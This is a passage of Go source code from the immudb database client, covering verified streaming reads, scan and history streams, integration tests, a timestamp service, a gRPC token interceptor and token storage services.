c.StreamServiceFactory.NewVEntryStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := ver.Next() if err != nil { return nil, err } vEntry, err := stream.ParseVerifiableEntry( entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, c.Options.StreamChunkSize) if err != nil { return nil, err } entrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version)) if err != nil { return nil, err } inclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof) dualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof) var eh [sha256.Size]byte var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte var vTx uint64 var e *store.EntrySpec if vEntry.Entry.ReferencedBy == nil { vTx = vEntry.Entry.Tx e = database.EncodeEntrySpec(req.KeyRequest.Key, schema.KVMetadataFromProto(vEntry.Entry.Metadata), vEntry.Entry.Value) } else { ref := vEntry.Entry.ReferencedBy vTx = ref.Tx e = database.EncodeReference(ref.Key, schema.KVMetadataFromProto(ref.Metadata), vEntry.Entry.Key, ref.AtTx) } if state.TxId <= vTx { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH) sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = vTx targetAlh = dualProof.TargetTxHeader.Alh() } else { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH) sourceID = vTx sourceAlh = dualProof.SourceTxHeader.Alh() targetID = state.TxId targetAlh = schema.DigestFromProto(state.TxHash) } verifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), eh) if !verifies { return nil, store.ErrCorruptedData } if state.TxId > 0 { err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return nil, err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: vEntry.VerifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return nil, err } } err = c.StateService.SetState(c.Options.CurrentDatabase, newState) if err != nil { return nil, err } return vEntry.Entry, nil } func (c *immuClient) _streamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } gs, err := c.streamScan(ctx, req) if err != nil { return nil, err } kvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) var entries []*schema.Entry for { key, vr, err := kvr.Next() if err != nil { if err == io.EOF { break } return nil, err } value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { return nil, err } entry := &schema.Entry{ Key: key, Value: value, } entries = append(entries, entry) } return &schema.Entries{Entries: entries}, nil } func (c *immuClient) _streamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { gs, err := c.streamZScan(ctx, req) if err != nil { return nil, err } zr := c.StreamServiceFactory.NewZStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) var entries []*schema.ZEntry for { set, key, score, atTx, vr, err := zr.Next() if err != nil { if err == io.EOF { break } return nil, err } entry, err := stream.ParseZEntry(set, key, score, atTx, vr, c.Options.StreamChunkSize) if err != nil { return nil, err } entries = append(entries, entry) } return &schema.ZEntries{Entries: entries}, nil } func (c *immuClient) _streamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { gs, err := c.streamHistory(ctx, req) if err != nil { return nil, err } kvr := c.StreamServiceFactory.NewKvStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) var entries []*schema.Entry for { key, vr, err := kvr.Next() if err != nil { if err == io.EOF { break } return nil, err } value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { return nil, err } entry := &schema.Entry{ Key: key, Value: value, } entries = append(entries, entry) } return &schema.Entries{Entries: entries}, nil } func (c *immuClient) _streamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error) { s, err := c.streamExecAll(ctx) if err != nil { return nil, err } eas := c.StreamServiceFactory.NewExecAllStreamSender(c.StreamServiceFactory.NewMsgSender(s)) err = eas.Send(req) if err != nil { return nil, err } return s.CloseAndRecv() } func (c *immuClient) streamSet(ctx context.Context) (schema.ImmuService_StreamSetClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamSet(ctx) } func (c *immuClient) streamGet(ctx context.Context, in *schema.KeyRequest) (schema.ImmuService_StreamGetClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamGet(ctx, in) } func (c *immuClient) streamVerifiableSet(ctx context.Context) (schema.ImmuService_StreamVerifiableSetClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamVerifiableSet(ctx) } func (c *immuClient) streamVerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest) (schema.ImmuService_StreamVerifiableGetClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamVerifiableGet(ctx, in) } func (c *immuClient) streamScan(ctx context.Context, in *schema.ScanRequest) (schema.ImmuService_StreamScanClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamScan(ctx, in) } func (c *immuClient) streamZScan(ctx context.Context, in *schema.ZScanRequest) (schema.ImmuService_StreamZScanClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamZScan(ctx, in) } func (c *immuClient) streamHistory(ctx context.Context, in *schema.HistoryRequest) (schema.ImmuService_StreamHistoryClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamHistory(ctx, in) } func (c *immuClient) streamExecAll(ctx context.Context) (schema.ImmuService_StreamExecAllClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.StreamExecAll(ctx) } ================================================ FILE: pkg/client/streams_integration_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "bufio" "bytes" "context" "os" "strconv" "strings" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/codenotary/immudb/pkg/streamutils" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) func externalImmudbClient(t *testing.T) (*immuClient, context.Context) { extImmudb := os.Getenv("TEST_EXTERNAL_IMMUDB") if extImmudb == "" { t.Skip("Please launch an immudb server and set TEST_EXTERNAL_IMMUDB to its value") } s := strings.SplitN(extImmudb, ":", 2) host := s[0] port := DefaultOptions().Port if len(s) > 1 { p, err := strconv.Atoi(s[1]) require.NoError(t, err) port = p } cli, err := NewImmuClient(DefaultOptions().WithAddress(host).WithPort(port)) require.NoError(t, err) lr, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx := metadata.NewOutgoingContext(context.Background(), md) ur, err := cli.UseDatabase(ctx, &schema.Database{DatabaseName: "defaultdb"}) require.NoError(t, err) md = metadata.Pairs("authorization", ur.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) return cli, ctx } func TestImmuServer_SimpleSetGetStream(t *testing.T) { cli, ctx := externalImmudbClient(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", (32<<20)-1) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) metaTx, err := cli.StreamSet(ctx, kvs) require.NoError(t, err) _, err = cli.StreamGet(ctx, &schema.KeyRequest{Key: []byte(tmpFile.Name()), SinceTx: metaTx.Id}) require.NoError(t, err) } func TestImmuServer_SimpleSetGetManagedStream(t *testing.T) { cli, ctx := externalImmudbClient(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", (32<<20)-1) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) s, err := cli.streamSet(ctx) require.NoError(t, err) kvss := stream.NewKvStreamSender(stream.NewMsgSender(s, make([]byte, cli.Options.StreamChunkSize))) err = kvss.Send(kvs[0]) require.NoError(t, err) txhdr, err := s.CloseAndRecv() require.NoError(t, err) require.IsType(t, &schema.TxHeader{}, txhdr) } func TestImmuServer_MultiSetGetManagedStream(t *testing.T) { cli, ctx := externalImmudbClient(t) s1, err := cli.streamSet(ctx) require.NoError(t, err) kvs := stream.NewKvStreamSender(stream.NewMsgSender(s1, make([]byte, cli.Options.StreamChunkSize))) key := []byte("key1") val := []byte("val1") kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key)), Size: len(key), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val)), Size: len(val), }, } err = kvs.Send(kv) require.NoError(t, err) txhdr, err := s1.CloseAndRecv() require.NoError(t, err) require.IsType(t, &schema.TxHeader{}, txhdr) s2, err := cli.streamSet(ctx) require.NoError(t, err) kvs2 := stream.NewKvStreamSender(stream.NewMsgSender(s2, make([]byte, cli.Options.StreamChunkSize))) key2 := []byte("key2") val2 := []byte("val2") kv2 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key2)), Size: len(key2), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val2)), Size: len(val2), }, } err = kvs2.Send(kv2) require.NoError(t, err) txhdr, err = s2.CloseAndRecv() require.NoError(t, err) require.IsType(t, &schema.TxHeader{}, txhdr) s3, err := cli.streamSet(ctx) require.NoError(t, err) kvs3 := stream.NewKvStreamSender(stream.NewMsgSender(s3, make([]byte, cli.Options.StreamChunkSize))) key3 := []byte("key3") val3 := []byte("val3") kv3 := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(key3)), Size: len(key3), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(val3)), Size: len(val3), }, } err = kvs3.Send(kv3) require.NoError(t, err) err = s3.CloseSend() require.NoError(t, err) } ================================================ FILE: pkg/client/streams_verified_integration_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "os" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/codenotary/immudb/pkg/streamutils" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestImmuServer_StreamVerifiedSetAndGet(t *testing.T) { cliIF, ctx := externalImmudbClient(t) tmpFile, err := streamtest.GenerateDummyFile("myFile1", (8<<20)-1) require.NoError(t, err) defer tmpFile.Close() defer os.Remove(tmpFile.Name()) kvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name()) require.NoError(t, err) txhdr, err := cliIF.StreamVerifiedSet(ctx, kvs) require.NoError(t, err) require.NotNil(t, txhdr) entry, err := cliIF.StreamVerifiedGet(ctx, &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{Key: []byte(tmpFile.Name())}, }) require.NoError(t, err) require.Equal(t, (8<<20)-1, len(entry.Value)) } ================================================ FILE: pkg/client/streams_zscan_and_history_integration_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "bufio" "bytes" "context" "os" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func inputTestFileToStreamKV( t *testing.T, fileName string, ) (*os.File, *stream.KeyValue, error) { f, err := os.Open(fileName) if err != nil { return nil, nil, err } fi, err := f.Stat() if err != nil { f.Close() return nil, nil, err } kv := stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(fileName))), Size: len(fileName), }, Value: &stream.ValueSize{ Content: bufio.NewReader(f), Size: int(fi.Size()), }, } return f, &kv, nil } func streamSetFiles( ctx context.Context, t *testing.T, cli ImmuClient, fileNames []string, ) (vSizes []int) { kvs := make([]*stream.KeyValue, len(fileNames)) vSizes = make([]int, len(fileNames)) for i, fileName := range fileNames { f, kv, err := inputTestFileToStreamKV(t, fileName) require.NoError(t, err) defer f.Close() kvs[i] = kv vSizes[i] = kv.Value.Size } txhdr, err := cli.StreamSet(ctx, kvs) require.NoError(t, err) require.NotNil(t, txhdr) return } func zAddFiles( ctx context.Context, t *testing.T, cli ImmuClient, fileNames []string, set string, scores []float64, ) { var err error setBytes := []byte(set) for i, score := range scores { _, err = cli.ZAdd(ctx, setBytes, score, []byte(fileNames[i])) require.NoError(t, err) } } func TestImmuServer_StreamZScan(t *testing.T) { cliIF, ctx := externalImmudbClient(t) tmpFile1, err := streamtest.GenerateDummyFile("myfile1.pdf", (8<<20)-1) require.NoError(t, err) defer tmpFile1.Close() defer os.Remove(tmpFile1.Name()) tmpFile2, err := streamtest.GenerateDummyFile("myFile2.mp4", (16<<20)-1) require.NoError(t, err) defer tmpFile2.Close() defer os.Remove(tmpFile2.Name()) fileNames := []string{ tmpFile1.Name(), tmpFile2.Name(), } vSizes := streamSetFiles(ctx, t, cliIF, fileNames) require.Equal(t, len(fileNames), len(vSizes)) set := "FileSet" scores := []float64{11, 22} zAddFiles(ctx, t, cliIF, fileNames, set, scores) zEntries, err := cliIF.StreamZScan(ctx, &schema.ZScanRequest{Set: []byte("FileSet")}) require.NoError(t, err) require.NotNil(t, zEntries) require.Len(t, zEntries.Entries, 2) for i, fileName := range fileNames { require.Equal(t, fileName, string(zEntries.Entries[i].Key)) require.Equal(t, set, string(zEntries.Entries[i].Set)) require.Equal(t, scores[i], zEntries.Entries[i].Score) require.Equal(t, fileName, string(zEntries.Entries[i].Entry.Key)) require.Equal(t, vSizes[i], len(zEntries.Entries[i].Entry.Value)) } } func TestImmuServer_StreamHistory(t *testing.T) { cliIF, ctx := externalImmudbClient(t) tmpFile1, err := streamtest.GenerateDummyFile("myfile1.pdf", (8<<20)-1) require.NoError(t, err) defer tmpFile1.Close() defer os.Remove(tmpFile1.Name()) fileNames := []string{tmpFile1.Name()} vSizes1 := streamSetFiles(ctx, t, cliIF, fileNames) require.Equal(t, 1, len(vSizes1)) vSizes2 := streamSetFiles(ctx, t, cliIF, fileNames) require.Equal(t, 1, len(vSizes2)) vSizes := []int{vSizes1[0], vSizes2[0]} hEntries, err := cliIF.StreamHistory(ctx, &schema.HistoryRequest{Key: []byte(tmpFile1.Name())}) require.NoError(t, err) require.Equal(t, 2, len(hEntries.Entries)) for i, hEntry := range hEntries.Entries { require.Equal(t, tmpFile1.Name(), string(hEntry.Key)) require.Equal(t, vSizes[i], len(hEntry.Value)) } } ================================================ FILE: pkg/client/timestamp/default.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package timestamp import ( "time" ) type timestampDefault struct{} // NewDefaultTimestamp ... func NewDefaultTimestamp() (TsGenerator, error) { return ×tampDefault{}, nil } func (w *timestampDefault) Now() time.Time { return time.Now() } ================================================ FILE: pkg/client/timestamp/timestamp_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package timestamp import ( "testing" "time" "github.com/stretchr/testify/require" ) func TestDefault(t *testing.T) { def, err := NewDefaultTimestamp() require.NoError(t, err) require.IsType(t, def, ×tampDefault{}) ts := def.Now() require.IsType(t, ts, time.Time{}) } ================================================ FILE: pkg/client/timestamp/tsgenerator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package timestamp import "time" // TsGenerator timestamp generator interface type TsGenerator interface { Now() time.Time } ================================================ FILE: pkg/client/timestamp_service.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "time" "github.com/codenotary/immudb/pkg/client/timestamp" ) // TimestampService is a simple service returning the current time. type TimestampService interface { GetTime() time.Time } type timestampService struct { ts timestamp.TsGenerator } // NewTimestampService creates new timestamp service returning current system time. func NewTimestampService(ts timestamp.TsGenerator) TimestampService { return ×tampService{ts} } func (r *timestampService) GetTime() time.Time { return r.ts.Now() } ================================================ FILE: pkg/client/timestamp_service_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "testing" "time" "github.com/codenotary/immudb/pkg/client/timestamp" "github.com/stretchr/testify/require" ) func TestTimestampService(t *testing.T) { tg, _ := timestamp.NewDefaultTimestamp() tss := NewTimestampService(tg) tim := tss.GetTime() require.IsType(t, tim, time.Time{}) } ================================================ FILE: pkg/client/token_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "google.golang.org/grpc/metadata" "google.golang.org/grpc" ) // TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already func (c *immuClient) TokenInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { ctx, err := c.appendTokenToOutgoingContext(ctx) if err != nil { return err } return invoker(ctx, method, req, reply, cc, opts...) } // TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already func (c *immuClient) TokenStreamInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { ctx, err := c.appendTokenToOutgoingContext(ctx) if err != nil { return nil, err } return streamer(ctx, desc, cc, method, opts...) } func (c *immuClient) appendTokenToOutgoingContext(ctx context.Context) (context.Context, error) { if md, ok := metadata.FromOutgoingContext(ctx); !ok || len(md.Get("authorization")) == 0 { present, err := c.Tkns.IsTokenPresent() if err != nil { return nil, err } if present { token, err := c.Tkns.GetToken() if err != nil { return nil, err } return metadata.AppendToOutgoingContext(ctx, "authorization", token), nil } } return ctx, nil } ================================================ FILE: pkg/client/tokenservice/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice import "errors" // Errors related to Client connection and health check var ( ErrEmptyTokenProvided = errors.New("empty token provided") ErrTokenContentNotPresent = errors.New("token content not present") ) ================================================ FILE: pkg/client/tokenservice/file.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice import ( "encoding/binary" "errors" "os" "strings" "sync" "github.com/codenotary/immudb/pkg/client/homedir" ) type file struct { sync.Mutex tokenFileName string hds homedir.HomedirService } // NewFileTokenService ... func NewFileTokenService() *file { return &file{ tokenFileName: "token", hds: homedir.NewHomedirService(), } } func (ts *file) GetToken() (string, error) { ts.Lock() defer ts.Unlock() _, token, err := ts.parseContent() if err != nil { return "", err } return token, nil } // SetToken ... func (ts *file) SetToken(database string, token string) error { ts.Lock() defer ts.Unlock() if token == "" { return ErrEmptyTokenProvided } return ts.hds.WriteFileToUserHomeDir(BuildToken(database, token), ts.tokenFileName) } func BuildToken(database string, token string) []byte { dbsl := uint64(len(database)) dbnl := len(database) tl := len(token) lendbs := binary.Size(dbsl) var cnt = make([]byte, lendbs+dbnl+tl) binary.BigEndian.PutUint64(cnt, dbsl) copy(cnt[lendbs:], database) copy(cnt[lendbs+dbnl:], token) return cnt } func (ts *file) DeleteToken() error { ts.Lock() defer ts.Unlock() return ts.hds.DeleteFileFromUserHomeDir(ts.tokenFileName) } // IsTokenPresent ... func (ts *file) IsTokenPresent() (bool, error) { ts.Lock() defer ts.Unlock() _, _, err := ts.parseContent() if err != nil { if os.IsNotExist(err) { return false, nil } return false, err } return true, nil } func (ts *file) GetDatabase() (string, error) { ts.Lock() defer ts.Unlock() dbname, _, err := ts.parseContent() return dbname, err } func (ts *file) parseContent() (string, string, error) { content, err := ts.hds.ReadFileFromUserHomeDir(ts.tokenFileName) if err != nil { return "", "", err } if len(content) <= 8 { return "", "", ErrTokenContentNotPresent } // token prefix is hardcoded into library. Please modify in case of changes in paseto library if strings.HasPrefix(content, "v2.public.") { return "", "", errors.New("old token format. Please remove old token located in your default home dir") } dbNameLen := make([]byte, 8) copy(dbNameLen, content[:8]) dbNameLenUint64 := binary.BigEndian.Uint64(dbNameLen) if dbNameLenUint64 > uint64(len(content))-8 { return "", "", errors.New("invalid token format") } databasename := make([]byte, dbNameLenUint64) copy(databasename, content[8:8+dbNameLenUint64]) token := make([]byte, uint64(len(content))-8-dbNameLenUint64) copy(token, content[8+dbNameLenUint64:]) return string(databasename), string(token), nil } // WithHds ... func (ts *file) WithHds(hds homedir.HomedirService) *file { ts.hds = hds return ts } // WithTokenFileName ... func (ts *file) WithTokenFileName(tfn string) *file { ts.tokenFileName = tfn return ts } ================================================ FILE: pkg/client/tokenservice/inmemory.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice import ( "sync" ) type inmemoryTokenService struct { sync.RWMutex token string database string } func NewInmemoryTokenService() *inmemoryTokenService { return &inmemoryTokenService{} } func (m *inmemoryTokenService) SetToken(database string, token string) error { m.Lock() defer m.Unlock() if token == "" { return ErrEmptyTokenProvided } m.token = token m.database = database return nil } func (m *inmemoryTokenService) IsTokenPresent() (bool, error) { m.RLock() defer m.RUnlock() return m.token != "", nil } func (m *inmemoryTokenService) DeleteToken() error { m.Lock() defer m.Unlock() m.token = "" m.database = "" return nil } func (m *inmemoryTokenService) GetToken() (string, error) { m.RLock() defer m.RUnlock() return m.token, nil } func (m *inmemoryTokenService) GetDatabase() (string, error) { m.RLock() defer m.RUnlock() return m.database, nil } ================================================ FILE: pkg/client/tokenservice/inmemory_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice import ( "testing" "github.com/stretchr/testify/require" ) func TestNewInmemoryTokenService(t *testing.T) { ts := NewInmemoryTokenService() err := ts.SetToken("db1", "") require.ErrorIs(t, err, ErrEmptyTokenProvided) err = ts.SetToken("db", "tk") require.NoError(t, err) present, err := ts.IsTokenPresent() require.True(t, present) require.NoError(t, err) db, err := ts.GetDatabase() require.Equal(t, db, "db") require.NoError(t, err) tk, err := ts.GetToken() require.NoError(t, err) require.Equal(t, tk, "tk") err = ts.DeleteToken() require.NoError(t, err) } ================================================ FILE: pkg/client/tokenservice/token_service.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice type TokenService interface { SetToken(database string, token string) error IsTokenPresent() (bool, error) DeleteToken() error GetToken() (string, error) GetDatabase() (string, error) } ================================================ FILE: pkg/client/tokenservice/token_service_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tokenservice import ( "os" "path/filepath" "testing" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/stretchr/testify/require" ) func TestTokenSevice_setToken(t *testing.T) { fn := filepath.Join(t.TempDir(), "token") ts := file{tokenFileName: fn, hds: homedir.NewHomedirService()} err := ts.SetToken("db1", "") require.ErrorIs(t, err, ErrEmptyTokenProvided) err = ts.SetToken("db1", "toooooken") require.NoError(t, err) database, err := ts.GetDatabase() require.NoError(t, err) require.Equal(t, "db1", database) token, err := ts.GetToken() require.NoError(t, err) require.Equal(t, "toooooken", token) os.Remove(fn) } func TestTokenService_IsTokenPresent(t *testing.T) { fn := filepath.Join(t.TempDir(), "token") ts := file{tokenFileName: fn, hds: homedir.NewHomedirService()} err := ts.SetToken("db1", "toooooken") require.NoError(t, err) ok, err := ts.IsTokenPresent() require.NoError(t, err) require.True(t, ok) } func TestTokenService_DeleteToken(t *testing.T) { fn := filepath.Join(t.TempDir(), "token") ts := file{tokenFileName: fn, hds: homedir.NewHomedirService()} err := ts.SetToken("db1", "toooooken") require.NoError(t, err) err = ts.DeleteToken() require.NoError(t, err) } ================================================ FILE: pkg/client/transaction.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "io" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/errors" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc/metadata" ) // Tx represents an open transaction // // Note: Currently this object only supports SQL transactions type Tx interface { // Commit commits a transaction. Commit(ctx context.Context) (*schema.CommittedSQLTx, error) // Rollback rollbacks a transaction. Rollback(ctx context.Context) error // SQLExec performs a modifying SQL query within the transaction. // Such query does not return SQL result. SQLExec(ctx context.Context, sql string, params map[string]interface{}) error // SQLQuery performs a query (read-only) operation. // // Deprecated: use SQLQueryReader instead. SQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error) // SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. SQLQueryReader(ctx context.Context, sql 